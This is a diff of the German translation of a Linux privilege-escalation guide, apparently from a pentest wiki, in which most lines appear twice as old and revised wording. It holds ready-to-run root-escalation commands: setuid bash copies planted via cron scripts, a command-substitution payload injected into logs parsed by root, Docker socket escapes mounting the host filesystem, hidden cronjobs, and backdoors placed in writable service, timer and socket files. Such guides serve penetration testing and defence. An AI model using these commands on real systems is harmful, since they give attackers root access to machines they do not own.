_PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Zum Beispiel findest du in _/etc/crontab_ den PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Beachte, dass der Benutzer "user" Schreibrechte über /home/user hat_) +(_Hinweis: Der Benutzer "user" hat Schreibrechte auf /home/user_) -Wenn in dieser crontab der root-Benutzer versucht, einen Befehl oder ein Script auszuführen, ohne den PATH zu setzen. Zum Beispiel: _\* \* \* \* root overwrite.sh_\ -Dann kannst du eine root-Shell erhalten, indem du Folgendes verwendest: +Wenn in dieser crontab der root-Benutzer versucht, einen Befehl oder ein Skript auszuführen, ohne den PATH zu setzen. Zum Beispiel: _\* \* \* \* root overwrite.sh_\ +Dann kannst du eine root-Shell erhalten, indem du Folgendes ausführst: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron, das ein Skript mit einem wildcard verwendet (Wildcard Injection) +### Cron, das ein script mit einem wildcard verwendet (Wildcard Injection) -Wenn ein von root ausgeführtes Skript ein “**\***” innerhalb eines Befehls enthält, kannst du dies ausnutzen, um unerwartete Dinge zu bewirken (wie privesc). Beispiel: +Wenn ein script, das von root ausgeführt wird, ein “**\***” innerhalb eines Befehls hat, kannst du das ausnutzen, um unerwartete Dinge zu bewirken (wie privesc). Beispiel: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).** +**Wenn das Wildcard in einem Pfad wie** _**/some/path/***_ **vorgeordnet ist, ist es nicht verwundbar (sogar** _**./***_ **ist nicht).** -Lies die folgende Seite für weitere wildcard exploitation tricks: +Lesen Sie die folgende Seite für weitere Wildcard-Exploitation-Tricks: {{#ref}} @@ -353,9 +353,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. +Bash führt Parameterexpansion und command substitution vor der arithmetischen Auswertung in ((...)), $((...)) und let aus. Wenn ein root cron/parser untrusted Log-Felder liest und sie in einen arithmetischen Kontext einspeist, kann ein Angreifer eine command substitution $(...) einschleusen, die als root ausgeführt wird, wenn der cron läuft. -- Warum das funktioniert: In Bash erfolgen die expansions in dieser Reihenfolge: parameter/variable expansion, command substitution, arithmetic expansion, dann word splitting und pathname expansion. Ein Wert wie `$(/bin/bash -c 'id > /tmp/pwn')0` wird also zuerst substituiert (der Befehl läuft), danach wird die verbleibende numerische `0` für die Arithmetik verwendet, sodass das Script ohne Fehler weiterläuft. +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. - Typisches verwundbares Muster: ```bash @@ -367,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Sorge dafür, dass vom Angreifer kontrollierter Text in das geparste Log geschrieben wird, sodass das zahlenähnliche Feld eine command substitution enthält und mit einer Ziffer endet. Stelle sicher, dass dein Befehl nichts auf stdout ausgibt (oder leite es um), damit die Arithmetik gültig bleibt. +- Ausnutzung: Bringen Sie angreiferkontrollierten Text in das gelesene Log, sodass das numerisch aussehende Feld eine command substitution enthält und mit einer Ziffer endet. Stellen Sie sicher, dass Ihr Befehl nichts auf stdout schreibt (oder leiten Sie es um), damit die Arithmetik gültig bleibt. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -382,111 +382,111 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Wenn das von root ausgeführte Skript ein **Verzeichnis, auf das Sie vollen Zugriff haben**, verwendet, könnte es nützlich sein, diesen Ordner zu löschen und **einen symlink-Ordner zu einem anderen zu erstellen**, der ein von Ihnen kontrolliertes Skript bereitstellt. +Wenn das von root ausgeführte script ein **Verzeichnis, auf das du vollen Zugriff hast**, verwendet, könnte es nützlich sein, dieses Verzeichnis zu löschen und einen **symlink-Ordner auf ein anderes Verzeichnis zu erstellen**, der ein von dir kontrolliertes script bereitstellt. ```bash ln -d -s ``` -### Häufige cron-Jobs +### Häufige cron jobs -Du kannst die Prozesse überwachen, um nach Prozessen zu suchen, die alle 1, 2 oder 5 Minuten ausgeführt werden. Vielleicht kannst du das ausnutzen und escalate privileges. +Du kannst die Prozesse überwachen, um Prozesse zu finden, die alle 1, 2 oder 5 Minuten ausgeführt werden. Vielleicht kannst du das ausnutzen und escalate privileges. -Zum Beispiel, um **jede 0.1s während 1 Minute zu überwachen**, **nach den am wenigsten ausgeführten Befehlen zu sortieren** und die Befehle zu löschen, die am häufigsten ausgeführt wurden, kannst du: +Zum Beispiel, um **alle 0.1s für 1 Minute zu überwachen**, **nach am wenigsten ausgeführten Befehlen zu sortieren** und die Befehle zu löschen, die am häufigsten ausgeführt wurden, kannst du: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dies überwacht und listet jeden gestarteten Prozess auf). +**Du kannst auch** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dies überwacht und listet jeden gestarteten Prozess). -### Unsichtbare cron jobs +### Unsichtbare cronjobs -Es ist möglich, einen cron job zu erstellen, indem man nach einem Kommentar ein Wagenrücklaufzeichen setzt (ohne Zeilenumbruchzeichen), und der cron job wird ausgeführt. Beispiel (achte auf das Wagenrücklaufzeichen): +Es ist möglich, einen cronjob zu erstellen, indem man nach einem Kommentar ein carriage return setzt (ohne newline character), und der cronjob wird funktionieren. Beispiel (achte auf das carriage return-Zeichen): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Dienste -### Schreibbare _.service_ Dateien +### Beschreibbare _.service_ Dateien -Prüfe, ob du irgendeine `.service`-Datei schreiben kannst; wenn ja, **kannst du sie modifizieren**, sodass sie **deinen backdoor ausführt, wenn** der Dienst **gestartet**, **neu gestartet** oder **gestoppt** wird (möglicherweise musst du warten, bis die Maschine neu gestartet wird).\ -Erstelle zum Beispiel deinen backdoor innerhalb der `.service`-Datei mit **`ExecStart=/tmp/script.sh`** +Prüfe, ob du eine `.service`-Datei schreiben kannst; falls ja, **könntest du sie ändern**, sodass sie deinen **backdoor** **ausführt**, wenn der **Service** **gestartet**, **neu gestartet** oder **gestoppt** wird (vielleicht musst du warten, bis die Maschine neu gebootet wird).\ +Zum Beispiel erstelle deinen backdoor in der .service-Datei mit **`ExecStart=/tmp/script.sh`** -### Schreibbare Service-Binaries +### Beschreibbare service binaries -Beachte, dass wenn du **Schreibrechte auf Binaries hast, die von Services ausgeführt werden**, du diese ändern kannst, um backdoors einzubauen, sodass beim erneuten Ausführen der Services die backdoors ausgeführt werden. +Beachte, dass wenn du **Schreibrechte auf binaries hast, die von services ausgeführt werden**, du diese verändern kannst, um backdoors zu platzieren, sodass beim erneuten Ausführen der services die backdoors ausgeführt werden. ### systemd PATH - Relative Paths -Du kannst den von **systemd** verwendeten PATH mit folgendem Befehl sehen: +Du kannst den PATH sehen, den **systemd** verwendet mit: ```bash systemctl show-environment ``` -Wenn du feststellst, dass du in einem der Ordner des Pfads **schreiben** kannst, kannst du möglicherweise **escalate privileges**. Du musst nach **relativen Pfaden, die in Service-Konfigurationsdateien verwendet werden**, suchen, wie zum Beispiel: +Wenn Sie feststellen, dass Sie in einem der Verzeichnisse des Pfads **write** können, könnten Sie möglicherweise **escalate privileges**. Suchen Sie nach **relative paths being used on service configurations** in Dateien wie: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Dann erzeugst du ein **executable** mit genau demselben Namen wie die relative Pfad-Binärdatei im systemd PATH folder, den du beschreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird deine **backdoor** ausgeführt (ungeprivilegierte Benutzer können normalerweise keine Services starten/stoppen, prüfe aber, ob du `sudo -l` verwenden kannst). +Dann erstelle ein **ausführbares Programm** mit genau demselben Namen wie die Binärdatei im relativen Pfad innerhalb des systemd PATH-Ordners, in den du schreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird dein **backdoor** ausgeführt (unprivilegierte Benutzer können normalerweise keine Services starten/stoppen — prüfe jedoch, ob du `sudo -l` verwenden kannst). -**Mehr über services erfährst du mit `man systemd.service`.** +**Learn more about services with `man systemd.service`.** ## **Timers** -**Timers** sind systemd unit files, deren Name auf `**.timer**` endet und die `**.service**`-Dateien oder -Ereignisse steuern. **Timers** können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für calendar time events und monotonic time events bieten und asynchron ausgeführt werden können. +**Timers** sind systemd-Unit-Dateien, deren Name auf `**.timer**` endet und die `**.service**`-Dateien oder Ereignisse steuern. **Timers** können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für kalenderbasierte Zeitereignisse und monotone Zeitereignisse bieten und asynchron ausgeführt werden können. -Du kannst alle Timer mit folgendem Befehl auflisten: +Du kannst alle **Timers** mit: ```bash systemctl list-timers --all ``` ### Schreibbare Timer -Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, einige vorhandene systemd.unit-Einheiten auszuführen (wie `.service` oder `.target`). +Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, vorhandene Units von systemd.unit auszuführen (z. B. eine `.service` oder eine `.target`). ```bash Unit=backdoor.service ``` -In der Dokumentation kannst du lesen, was die Unit ist: +In der Dokumentation können Sie nachlesen, was die Unit ist: -> Die Unit, die aktiviert werden soll, wenn dieser Timer abläuft. Das Argument ist ein Unit‑Name, dessen Suffix nicht ".timer" ist. Wenn nicht angegeben, lautet dieser Wert standardmäßig ein Service, der denselben Namen wie die Timer‑Unit hat, abgesehen vom Suffix. (Siehe oben.) Es wird empfohlen, dass der zu aktivierende Unit‑Name und der Unit‑Name der Timer‑Unit identisch benannt sind, abgesehen vom Suffix. +> Die Unit, die aktiviert wird, wenn dieser timer abläuft. Das Argument ist ein Unit-Name, dessen Suffix nicht ".timer" ist. Falls nicht angegeben, ist dieser Wert standardmäßig ein service mit demselben Namen wie die timer-Unit, abgesehen vom Suffix. (Siehe oben.) Es wird empfohlen, dass der zu aktivierende Unit-Name und der Unit-Name der timer-Unit identisch sind, abgesehen vom Suffix. -Daher müsstest du, um diese Berechtigung auszunutzen, Folgendes tun: +Daher müssten Sie, um diese Berechtigung zu missbrauchen: -- Finde eine systemd Unit (z. B. eine `.service`), die ein **schreibbares Binary** ausführt -- Finde eine systemd Unit, die einen **relativen Pfad** ausführt und für die du **Schreibrechte** auf den **systemd PATH** besitzt (um diese ausführbare Datei zu imitieren) +- Finden Sie eine systemd Unit (z. B. eine `.service`), die ein **beschreibbares Binary ausführt** +- Finden Sie eine systemd Unit, die **einen relativen Pfad ausführt** und auf die Sie **schreibbare Rechte** über den **systemd PATH** haben (um diese ausführbare Datei zu imitieren) -**Mehr über Timer erfährst du mit `man systemd.timer`.** +**Learn more about timers with `man systemd.timer`.** ### **Timer aktivieren** -Um einen Timer zu aktivieren benötigst du root‑Rechte und musst ausführen: +Um einen Timer zu aktivieren, benötigen Sie root-Rechte und müssen Folgendes ausführen: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Beachte, dass der **timer** durch das Erstellen eines Symlinks zu ihm unter `/etc/systemd/system/.wants/.timer` **aktiviert** wird +Beachte, der **timer** wird **aktiviert**, indem ein Symlink zu ihm unter `/etc/systemd/system/.wants/.timer` erstellt wird ## Sockets -Unix Domain Sockets (UDS) ermöglichen **Prozesskommunikation** auf derselben oder auf unterschiedlichen Maschinen innerhalb von Client-Server-Modellen. Sie verwenden standardmäßige Unix-Descriptor-Dateien für die Kommunikation zwischen Computern und werden über `.socket`-Dateien eingerichtet. +Unix Domain Sockets (UDS) ermöglichen **Prozesskommunikation** auf demselben oder verschiedenen Rechnern innerhalb von Client-Server-Modellen. Sie verwenden standardmäßige Unix-Descriptor-Dateien für die Kommunikation zwischen Rechnern und werden über `.socket`-Dateien eingerichtet. Sockets können mit `.socket`-Dateien konfiguriert werden. -**Mehr über sockets mit `man systemd.socket` erfahren.** In dieser Datei können mehrere interessante Parameter konfiguriert werden: +**Mehr über Sockets erfährst du mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen sind unterschiedlich, aber zusammengefasst dienen sie dazu, **anzugeben, wo auf den Socket gehört werden soll** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6-Adresse und/oder die zu überwachende Portnummer usw.). -- `Accept`: Nimmt ein boolean-Argument. Wenn **true**, wird für jede eingehende Verbindung eine **Service-Instanz gestartet** und nur der Verbindungs-Socket an diese übergeben. Wenn **false**, werden alle Listening-Sockets selbst an die gestartete Service-Unit **übergeben**, und es wird nur eine Service-Unit für alle Verbindungen gestartet. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, wo eine einzelne Service-Unit bedingungslos den gesamten eingehenden Traffic verarbeitet. **Defaults to false**. Aus Performance-Gründen wird empfohlen, neue Daemons so zu schreiben, dass sie für `Accept=no` geeignet sind. -- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **ausgeführt werden bevor** bzw. **nachdem** die listening **sockets**/FIFOs jeweils **erstellt** und gebunden werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess. -- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **ausgeführt werden bevor** bzw. **nachdem** die listening **sockets**/FIFOs jeweils **geschlossen** und entfernt werden. -- `Service`: Gibt den Namen der **service**-Unit an, die bei **eingehendem Traffic** aktiviert werden soll. Diese Einstellung ist nur für Sockets mit Accept=no erlaubt. Standard ist die Service-Unit mit demselben Namen wie der Socket (mit entsprechendem Suffix). In den meisten Fällen sollte es nicht nötig sein, diese Option zu verwenden. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen sind unterschiedlich, aber zusammengefasst geben sie **an, wo die Socket gelauscht wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6-Adresse und/oder die Portnummer, auf die gelauscht werden soll, etc.) +- `Accept`: Nimmt ein boolesches Argument. Wenn **true**, wird für jede eingehende Verbindung eine **Service-Instanz gestartet** und nur die Verbindungssocket an diese übergeben. Wenn **false**, werden alle Listening-Sockets selbst an die gestartete Service-Unit übergeben, und es wird nur eine Service-Unit für alle Verbindungen gestartet. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, wo eine einzelne Service-Unit bedingungslos allen eingehenden Traffic verarbeitet. **Standardmäßig false**. Aus Leistungsgründen wird empfohlen, neue Daemons so zu schreiben, dass sie für `Accept=no` geeignet sind. +- `ExecStartPre`, `ExecStartPost`: Nehmen eine oder mehrere Befehlszeilen, die **vor** bzw. **nach** dem Erstellen und Binden der Listening-Sockets/FIFOs **ausgeführt** werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess. +- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** bzw. **nach** dem Schließen und Entfernen der Listening-Sockets/FIFOs **ausgeführt** werden. +- `Service`: Gibt den Namen der Service-Unit an, die bei **eingehendem Traffic** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie ist standardmäßig auf den Service gesetzt, der denselben Namen wie die Socket trägt (mit ersetztem Suffix). In den meisten Fällen sollte diese Option nicht notwendig sein. ### Writable .socket files -Wenn du eine **writable** `.socket`-Datei findest, kannst du am Anfang der `[Socket]`-Sektion etwas wie `ExecStartPre=/home/kali/sys/backdoor` **hinzufügen** und die backdoor wird ausgeführt, bevor der Socket erstellt wird. Daher wirst du **wahrscheinlich warten müssen, bis die Maschine neu gestartet wird.**\ +Wenn du eine **schreibbare** `.socket`-Datei findest, kannst du am Anfang der `[Socket]`-Sektion etwas hinzufügen wie: `ExecStartPre=/home/kali/sys/backdoor` und die Backdoor wird ausgeführt, bevor die Socket erstellt wird. Daher musst du **wahrscheinlich bis zum Neustart der Maschine warten.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -Wenn du **einen beschreibbaren socket** findest (_jetzt sprechen wir über Unix Sockets und nicht über die Konfigurations-`.socket`-Dateien_), dann **kannst du mit diesem socket kommunizieren** und möglicherweise eine Schwachstelle exploit-en. +Wenn du **eine beschreibbare Socket** identifizierst (_jetzt sprechen wir von Unix Sockets und nicht von den config `.socket`-Dateien_), dann **kannst du mit dieser Socket kommunizieren** und möglicherweise eine Schwachstelle ausnutzen. -### Enumerate Unix Sockets +### Unix-Sockets auflisten ```bash netstat -a -p --unix ``` @@ -499,7 +499,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Exploitation-Beispiel:** {{#ref}} @@ -508,48 +508,48 @@ socket-command-injection.md ### HTTP sockets -Beachte, dass es einige **sockets listening for HTTP** requests geben kann (_ich spreche dabei nicht von .socket files, sondern von Dateien, die als unix sockets fungieren_). Du kannst das mit folgendem Befehl prüfen: +Beachte, dass möglicherweise einige **sockets auf HTTP-Anfragen lauschen** (_ich spreche nicht von .socket-Dateien, sondern von Dateien, die als unix sockets fungieren_). Du kannst das mit folgendem Befehl prüfen: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Wenn der Socket **auf eine HTTP-Anfrage antwortet**, kannst du **mit ihm kommunizieren** und vielleicht **exploit some vulnerability**. +Wenn der Socket **auf eine HTTP-Anfrage antwortet**, kannst du **mit ihm kommunizieren** und vielleicht **eine Schwachstelle ausnutzen**. ### Schreibbarer Docker-Socket -Der Docker-Socket, häufig zu finden unter `/var/run/docker.sock`, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist er schreibbar für den `root` user und Mitglieder der `docker` group. Schreibzugriff auf diesen Socket kann zu Privilege Escalation führen. Hier eine Aufschlüsselung, wie das gemacht werden kann und alternative Methoden, falls die Docker CLI nicht verfügbar ist. +Der Docker-Socket, häufig unter `/var/run/docker.sock` zu finden, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist er vom Benutzer `root` und Mitgliedern der `docker`-Gruppe beschreibbar. Schreibzugriff auf diesen Socket kann zu privilege escalation führen. Hier eine Aufschlüsselung, wie das gemacht werden kann und alternative Methoden, falls die Docker CLI nicht verfügbar ist. #### **Privilege Escalation with Docker CLI** -Wenn du Schreibzugriff auf den Docker-Socket hast, kannst du Privilegien mit den folgenden Befehlen eskalieren: +Wenn du Schreibzugriff auf den Docker-Socket hast, kannst du Privilegien eskalieren, indem du die folgenden Befehle verwendest: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Diese Befehle ermöglichen es Ihnen, einen Container zu starten, der root-Zugriff auf das Dateisystem des Hosts hat. +Diese Befehle erlauben es, einen Container mit Root-Rechten auf das Dateisystem des Hosts auszuführen. -#### **Direkte Verwendung der Docker API** +#### **Docker API direkt verwenden** -Falls die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker API und `curl`-Befehle manipuliert werden. +In Fällen, in denen die Docker CLI nicht verfügbar ist, kann der Docker socket weiterhin über die Docker API und `curl`-Befehle manipuliert werden. -1. **Docker-Images auflisten:** Rufen Sie die Liste der verfügbaren Images ab. +1. **List Docker Images:** Liste der verfügbaren Images abrufen. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Einen Container erstellen:** Senden Sie eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Hosts einbindet. +2. **Create a Container:** Sende eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Hosts einbindet. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Starten Sie den neu erstellten Container: +Starte den neu erstellten Container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **An den Container anhängen:** Verwenden Sie `socat`, um eine Verbindung zum Container herzustellen, sodass Sie Befehle darin ausführen können. +3. **Attach to the Container:** Verwende `socat`, um eine Verbindung zum Container herzustellen und Befehle darin auszuführen. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,11 +559,11 @@ Connection: Upgrade Upgrade: tcp ``` -Nach dem Aufbau der `socat`-Verbindung können Sie Befehle direkt im Container ausführen und haben root-Zugriff auf das Dateisystem des Hosts. +Nachdem die `socat`-Verbindung eingerichtet ist, kannst du Befehle direkt im Container ausführen und hast Root-Zugriff auf das Dateisystem des Hosts. -### Sonstiges +### Others -Beachten Sie, dass wenn Sie Schreibrechte auf den Docker-Socket haben, weil Sie **in der Gruppe `docker`** sind, Sie [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising), können Sie diese ebenfalls kompromittieren. +Beachte, dass wenn du Schreibrechte auf den docker socket hast, weil du **inside the group `docker`** bist, du [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Check **more ways to break out from docker or abuse it to escalate privileges** in: @@ -592,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus ist ein ausgereiftes inter-prozessuales Kommunikationssystem (IPC), das Anwendungen ermöglicht, effizient miteinander zu interagieren und Daten auszutauschen. Es wurde für moderne Linux-Systeme konzipiert und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation. +D-Bus ist ein ausgefeiltes **inter-Process Communication (IPC) system**, das Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde für moderne Linux-Systeme entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation. -Das System ist vielseitig und unterstützt grundlegende IPC-Funktionalität, die den Datenaustausch zwischen Prozessen verbessert, vergleichbar mit erweiterten UNIX-Domain-Sockets. Außerdem hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen Systemkomponenten fördert. Ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf kann z. B. einen Musikplayer zum Stummschalten veranlassen und so die Benutzererfahrung verbessern. Darüber hinaus unterstützt D-Bus ein Remote-Objekt-System, das Service-Anfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse, die traditionell komplex waren, erleichtert. +Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **enhanced UNIX domain sockets**. Außerdem unterstützt es das Versenden von Events oder Signalen und fördert so die nahtlose Integration von Systemkomponenten. Ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf kann beispielsweise einen Musikplayer stummschalten und so die Nutzererfahrung verbessern. Zusätzlich unterstützt D-Bus ein remote object system, das Service-Anfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse, die traditionell komplex waren, strafft. -D-Bus arbeitet nach einem **allow/deny model** und verwaltet Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln. Diese Richtlinien legen fest, wie mit dem Bus interagiert werden darf und können potenziell Privilegieneskalationen ermöglichen, wenn diese Berechtigungen ausgenutzt werden. +D-Bus arbeitet nach einem **allow/deny model** und verwaltet Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung passender Policy-Regeln. Diese Policies spezifizieren Interaktionen mit dem Bus und können unter Umständen eine privilege escalation ermöglichen, wenn diese Berechtigungen ausgenutzt werden. -Ein Beispiel für eine solche Richtlinie in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird gezeigt und beschreibt Berechtigungen für den Benutzer root, um `fi.w1.wpa_supplicant1` zu besitzen, an ihn zu senden und von ihm Nachrichten zu empfangen. +Ein Beispiel für eine solche Policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird gezeigt und beschreibt Berechtigungen für den root-Benutzer, Besitzer von `fi.w1.wpa_supplicant1` zu sein, Nachrichten an es zu senden und von ihm zu empfangen. -Richtlinien ohne angegebenen Benutzer oder Gruppe gelten allgemein, während "default"-Kontext-Richtlinien für alle gelten, die nicht durch andere spezifische Richtlinien abgedeckt sind. +Richtlinien ohne einen angegebenen Benutzer oder eine Gruppe gelten allgemein, während "default"-Kontextrichtlinien für alle gelten, die nicht durch andere spezifische Richtlinien abgedeckt sind. ```xml @@ -609,8 +609,7 @@ Richtlinien ohne angegebenen Benutzer oder Gruppe gelten allgemein, während "de ``` -**Erfahre hier, wie man eine D-Bus communication enumerate und exploit kann:** - +**Erfahre hier, wie du eine D-Bus-Kommunikation enumerate und exploit:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -618,7 +617,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Netzwerk** -Es ist immer interessant, das Netzwerk zu enumerate und die Position der Maschine zu ermitteln. +Es ist immer interessant, das Netzwerk zu enumerate und die Position der Maschine herauszufinden. ### Allgemeine enumeration ```bash @@ -643,7 +642,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### Offene Ports Überprüfe immer die Netzwerkdienste, die auf der Maschine laufen und mit denen du vor dem Zugriff nicht interagieren konntest: ```bash @@ -652,7 +651,7 @@ lsof -i ``` ### Sniffing -Überprüfe, ob du sniff traffic durchführen kannst. Falls ja, könntest du einige credentials abgreifen. +Prüfe, ob du sniff traffic durchführen kannst. Wenn ja, könntest du einige credentials erlangen. ``` timeout 1 tcpdump ``` @@ -660,7 +659,7 @@ timeout 1 tcpdump ### Generic Enumeration -Prüfe, **who** du bist, welche **privileges** du hast, welche **users** im System sind, welche sich **login** können und welche **root privileges** haben: +Überprüfe **who** du bist, welche **privileges** du hast, welche **users** im System vorhanden sind, welche sich **login** können und welche **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -682,14 +681,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Große UID Einige Linux-Versionen waren von einem Bug betroffen, der Benutzern mit **UID > INT_MAX** erlaubt, Privilegien zu eskalieren. Mehr Infos: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) und [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +**Ausnutzen** mit: **`systemd-run -t /bin/bash`** ### Gruppen -Prüfe, ob du **Mitglied einer Gruppe** bist, die dir root-Privilegien gewähren könnte: +Prüfe, ob du **Mitglied einer Gruppe** bist, die dir root-Rechte gewähren könnte: {{#ref}} @@ -709,33 +708,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Passwort-Richtlinie +### Passwortrichtlinie ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Bekannte Passwörter -Wenn du ein **Passwort** der Umgebung kennst, versuche dich mit diesem Passwort als jeden Benutzer einzuloggen. +Wenn du ein **Passwort** der Umgebung kennst, versuche dich mit diesem Passwort **als jeden Benutzer anzumelden**. ### Su Brute -Wenn es dir nichts ausmacht, viel Lärm zu verursachen und die Binaries `su` und `timeout` auf dem Rechner vorhanden sind, kannst du versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) zu brute-forcen.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) mit dem Parameter `-a` versucht ebenfalls, Benutzer zu brute-forcen. +Wenn es dir nichts ausmacht, viel Lärm zu erzeugen, und die Binaries `su` und `timeout` auf dem Computer vorhanden sind, kannst du versuchen, Benutzer mittels brute-force mit 